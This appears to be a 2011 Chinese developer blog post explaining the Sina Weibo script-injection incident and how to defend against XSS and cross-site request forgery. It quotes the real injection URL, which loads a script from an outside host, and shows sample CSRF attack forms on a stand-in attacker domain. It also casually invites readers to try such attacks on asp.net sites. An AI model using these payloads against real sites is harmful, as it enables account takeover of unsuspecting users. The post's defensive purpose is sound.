昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性;网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的,这里记述一下相关的事情。
先说新浪微博。
昨天的攻击情况介绍可以参考:
* http://soft.yesky.com/security/156/30179156.shtml
昨晚的攻击漏洞根源其实很傻,被用于攻击的URL(当然这个URL现在不工作了)是:
* http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
* http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。
这种是相当低级的注入攻击,有做web开发经验的同学都应该懂;应该说,新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。
weibo.com的页面被嵌入第三方js之后,这个js做的就是 XSRF去完成各种发推/关注/私信的操作,但从安全的角度看,这些我认为已经不重要了,这次的攻击根源仅是最低级的页面注入。
要避免这样的问题,在页面模板中,所有的变量输出,默认都应该做 HTML encode:
<%=Request.QueryString["qry"] %>
默认就应该对输出的值做html encode,相当于:
<%=HttpUtil.HtmlEncode(Request.QueryString["qry"]) %>
目前新web框架的模板引擎基本默认都会对变量页面输出做html encode;这样注入的问题都会被避免。
以Razor为例:
<div>
@Model.UserName
</div>
默认相当于:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>
至于连模板都没有用,直接拼接字符串输出html的做法,就彻底无语了。
====== XSRF / XSS ======
这样的攻击方式才相对“新颖”一些。
===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口,如:
* http://dummydomain.com/update_nick.aspx?nick=Stupid
那么,第三方网站可以直接将上述URL作为一个img标签的src,使得用户在访问的时候自动去获取此页面,造成昵称被改。
这里的问题根源是接口定义违反了HTTP的推荐设计。
一切HTTP Get操作,都不应该涉及用户数据的修改;必须强制使用为POST,以避免数据被无意/恶意修改。
===== HTTP Post =====
假设修改昵称的接口变成:
* http://dummydomain.com/update_nick.aspx
用户必须通过form提交才可能可以修改数据,比方说:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
这样的设计实际上也还是会有问题的,比方说,攻击者可以在 http://attackerdomain.com/clickme.html 里面写:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
用户在访问 attackerdomain.com 的时候,便有可能被误导去点击,然后造成自己在 dummydomain.com 的数据被修改。
在这样的场景下,无论接口是Get还是Post,都无济于事;这类攻击是被称为 XSRF: Cross-site request forgery。
===== XSRF =====
相比起页面注入,Web开发者对于XSRF的认识还不够;但它也是可以防范的。
首先,要确保所有的涉及数据更新的操作都是经过HTTP Post。
然后,服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数;其值必须跟Cookie中的同名Cookie相同,比方说:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="secret_value" />
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
当攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="Attacher can't know this value!" />
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
有安全意识,或者说,先进的web框架( Django / Tornado / RoR 等等 ),默认都强制要求POST提交必须有 XSRF 检查。
微软的技术,基本都是跟在别人后面的,目前似乎还是的开发者手动去处理,asp.net MVC 可以参考:
* http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx
如果asp.net开发者没有安全意识,专门去给所有页面添加XSRF的检查,那么做出来的网站,都可能受到 XSRF 攻击。
大家有兴趣的话可以去挑各种asp.net开发的网站去试;或者说,想想自己做过的网站是否会受到此种攻击。
:)
====== Web 安全的根基 ======
Cookie / Same origin policy(简单的说,就是防止AJAX跨域)是 Web安全的根源。
而这两点,是由客户端浏览器所保证的,如果客户端实现得不好,域名A可以访问域名B的cookie值,或者说发起AJAX调用,那么所有服务器端的安全措施都是白搭。
Cookie在HTTP中是明文传输的,是可能会被中间人窃取然后伪造的;而cookie又是Web用户认证信息的根源,一旦Cookie泄露,攻击方就可以为所欲为。
所以,很多网站(比方说, twitter / gmail)默认都在强制把所有的页面传输转移去 HTTPS;以杜绝中间人的问题。
千里之堤,溃于蚁穴;根基不牢靠,上层所做的任何安全措施,都可能被攻破。
这里的关键,是要有一个可靠的根基,跟Web技术没有直接关系,Native程序也会有同样性质的问题。